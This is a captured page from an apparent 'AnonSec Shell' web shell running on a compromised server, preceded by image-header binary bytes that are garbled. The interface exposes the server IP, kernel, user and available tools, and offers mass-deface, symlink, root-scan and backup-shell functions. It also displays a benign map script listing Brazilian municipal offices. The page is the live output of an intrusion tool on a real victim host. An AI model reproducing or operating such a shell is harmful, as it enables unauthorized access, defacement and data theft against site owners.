JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/portais/controller_antigo/mapa/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/portais/controller_antigo/mapa/js/map.js
var map;
var infoWindow;

// A variável markersData guarda a informação necessária a cada marcador
// Para utilizar este código basta alterar a informação contida nesta variável

var markersData = [
    {
        lat: -5.1776861,
        lng: -40.6686413,
        nome: "Prefeitura Municipal de Crateús",
        morada1: "Rua Manoel Augustinho, 544",
        morada2: "São Vicente",
        codPostal: "63700-000 Crateús CE", // não colocar virgula no último item de cada maracdor
    },
    {
        lat: -5.1124293,
        lng: -38.3703524,
        nome: "Prefeitura Municipal de Morada Nova",
        morada1: "Av. Manoel Castro Gomes de Andrade, 726",
        morada2: "Morada Nova",
        codPostal: "62940-000 Gafanha da Encarnação",
    },
    {
        lat: -4.1046159,
        lng: -38.4917104,
        nome: "Prefeitura Municipal de Horizonte",
        morada1: "R. Baturité, 670",
        morada2: "Planalto Horizonte",
        codPostal: "62880-000 Horizonte CE",
    },
    {
        lat: -4.7470817,
        lng: -40.9296528,
        nome: "Prefeitura Municipal de Poranga",
        morada1: "Av. Epitácio de Pinho",
        morada2: "Centro",
        codPostal: "62220-000 Poranga CE",
    },
    {
        lat: -4.2248124,
        lng: -38.7329835,
        nome: "Prefeitura Municipal de Redenção",
        morada1: "R. Padre Ângelo",
        morada2: "Centro",
        codPostal: "62790-000 Redenção CE",
    },
    {
        lat: -3.8542823,
        lng: -40.9225639,
        nome: "Prefeitura Municipal de Ubajara",
        morada1: "Rua Juvêncio Luiz Pereira, 514",
        morada2: "Centro",
        codPostal: "62350-000 Ubajara CE",
    },
    {
        lat: -3.5653346,
        lng: -41.0938927,
        nome: "Prefeitura Municipal de Viçosa",
        morada1: "Praça Clóvis Beviláqua, 320",
        morada2: "Centro",
        codPostal: "62300-000 Viçosa CE",
    },
    {
        lat: -3.7166118,
        lng: -40.9834768,
        nome: "Prefeitura Municipal de Tianguá",
        morada1: "Av. Moisés Moita, 785",
        morada2: "Planalto",
        codPostal: "62320-000 Tianguá CE",
    },
    {
        lat: -3.4821846,
        lng: -39.5678515,
        nome: "Prefeitura Municipal de Itapipoca",
        morada1: "Avenida Monsenhor Tabosa, 3027",
        morada2: "Julho",
        codPostal: "62500-000 Itapipoca CE",
    },
    {
        lat: -3.8932764,
        lng: -38.4657847,
        nome: "Prefeitura Municipal do Eusébio",
        morada1: "R. Edmilson Pinheiro, 150",
        morada2: "Eusébio",
        codPostal: "61760-000 Eusébio CE",
    },
    {
        lat: -3.4365925,
        lng: -39.149393,
        nome: "Prefeitura Municipal de Paraipaba",
        morada1: "Av. Joaquim Braga, 363",
        morada2: "Paraipaba",
        codPostal: "62685-000 Paraipaba CE",
    },
    {
        lat: -4.9655045,
        lng: -39.0131056,
        nome: "Prefeitura Municipal de Quixadá",
        morada1: "Rua Tabelião Enéas, 649",
        morada2: "Centro",
        codPostal: "62685-000 Quixadá CE",
    },
    {
        lat: -5.67644,
        lng: -39.1960882,
        nome: "Prefeitura Municipal de Milhã",
        morada1: "Av. Pedro José de Oliveira, 406",
        morada2: "Centro",
        codPostal: "63635-000 Milhã CE",
    },
    {
        lat: -5.4624181,
        lng: -40.8000663,
        nome: "Prefeitura Municipal de Novo Horiente",
        morada1: "R. Costa Azevedo",
        morada2: "Centro",
        codPostal: "63740-000 Novo Horiente CE",
    },
    {
        lat: -3.8634021,
        lng: -38.6512099,
        nome: "Prefeitura Municipal de Maracanaú",
        morada1: "Avenida 2, 2",
        morada2: "Novo Maracanaú",
        codPostal: "61910-060 Maracanaú CE",
    },
    {
        lat: -5.6134904,
        lng: -38.7630154,
        nome: "Prefeitura Municipal de Jaguaretama",
        morada1: "R. Tristão Gonçalves",
        morada2: "Centro",
        codPostal: "63480-000 Jaguaretama CE",
    },
    {
        lat: -3.9847828,
        lng: -38.6227396,
        nome: "Prefeitura Municipal de Pacatuba",
        morada1: "R. Josué Mateus Figueiredo, 270",
        morada2: "Centro",
        codPostal: "61800-000 Pacatuba CE",
    },
    {
        lat: -3.8039435,
        lng: -38.512305,
        nome: "G&T Controller",
        morada1: "Rua Eucalípto, 132",
        morada2: "Cajazeiras",
        codPostal: "60810-670 Fortaleza CE<br><b>(85) 3085-5002 / 3232-8828</b><br>contato@gtcontroller.com.br",
    },
    {
        lat: -4.7110994,
        lng: -40.6582195,
        nome: "Prefeitura Municipal de Nova Russas",
        morada1: "R. Hermenegildo Martins, 733",
        morada2: "Nova Russas",
        codPostal: "62200-000 Nova Russas CE",
    },
    {
        lat: -4.1738467,
        lng: -38.4647247,
        nome: "Câmara Municipal de Pacajus",
        morada1: "R. Raimundo Costa, 481-541",
        morada2: "Pacajus",
        codPostal: " 62870-000 Pacajus CE",
    },
    {
        lat: -7.312853,
        lng: -39.3127655,
        nome: "Câmara Municipal de Barbalha",
        morada1: "Loteamento Jardim dos Ipes, s/n",
        morada2: "Centro",
        codPostal: " 63180-000 Barbalha CE",
    },
    {
        lat: -4.1284891,
        lng: -38.2562955,
        nome: "Prefeitura Municipal De Cascavel",
        morada1: "R. Rio Novo, 1-143",
        morada2: "Cascavel",
        codPostal: " 62850-000 Cascavel CE",
    },
];


function initialize() {
    var mapOptions = {
        center: new google.maps.LatLng(-13.6568588, -69.7220536),
        zoom: 25,
        map: 'map',
    };

    map = new google.maps.Map(document.getElementById('map-canvas'), mapOptions);

    // cria a nova Info Window com referência à variável infowindow
    // o conteúdo da Info Window será atribuído mais tarde
    infoWindow = new google.maps.InfoWindow();

    // evento que fecha a infoWindow com click no mapa
    google.maps.event.addListener(map, 'click', function () {
        infoWindow.close();
    });

    // Chamada para a função que vai percorrer a informação
    // contida na variável markersData e criar os marcadores a mostrar no mapa
    displayMarkers();
}

google.maps.event.addDomListener(window, 'load', initialize);

// Esta função vai percorrer a informação contida na variável markersData
// e cria os marcadores através da função createMarker
function displayMarkers() {

    // esta variável vai definir a área de mapa a abranger e o nível do zoom
    // de acordo com as posições dos marcadores
    var bounds = new google.maps.LatLngBounds();

    // Loop que vai estruturar a informação contida em markersData
    // para que a função createMarker possa criar os marcadores
    for (var i = 0; i < markersData.length; i++) {

        var latlng    = new google.maps.LatLng(markersData[i].lat, markersData[i].lng);
        var nome      = markersData[i].nome;
        var morada1   = markersData[i].morada1;
        var morada2   = markersData[i].morada2;
        var codPostal = markersData[i].codPostal;
        createMarker(latlng, nome, morada1, morada2, codPostal);

        // Os valores de latitude e longitude do marcador são adicionados à
        // variável bounds
        bounds.extend(latlng);
    }

    // Depois de criados todos os marcadores
    // a API através da sua função fitBounds vai redefinir o nível do zoom
    // e consequentemente a área do mapa abrangida.
    map.fitBounds(bounds);
}

// Função que cria os marcadores e define o conteúdo de cada Info Window.
function createMarker(latlng, nome, morada1, morada2, codPostal) {
    var marker = new google.maps.Marker({
        map: map,
        position: latlng,
        title: nome
    });

    // Evento que dá instrução à API para estar alerta ao click no marcador.
    // Define o conteúdo e abre a Info Window.
    google.maps.event.addListener(marker, 'click', function () {

        // Variável que define a estrutura do HTML a inserir na Info Window.
        var iwContent = '<div id="iw_container">' +
            '<div class="iw_title">' + nome + '</div>' +
            '<div class="iw_content">' + morada1 + '<br />' +
            morada2 + '<br />' +
            codPostal + '</div></div>';

        // O conteúdo da variável iwContent é inserido na Info Window.
        infoWindow.setContent(iwContent);

        // A Info Window é aberta.
        infoWindow.open(map, marker);
    });
}

Anon7 - 2022
AnonSec Team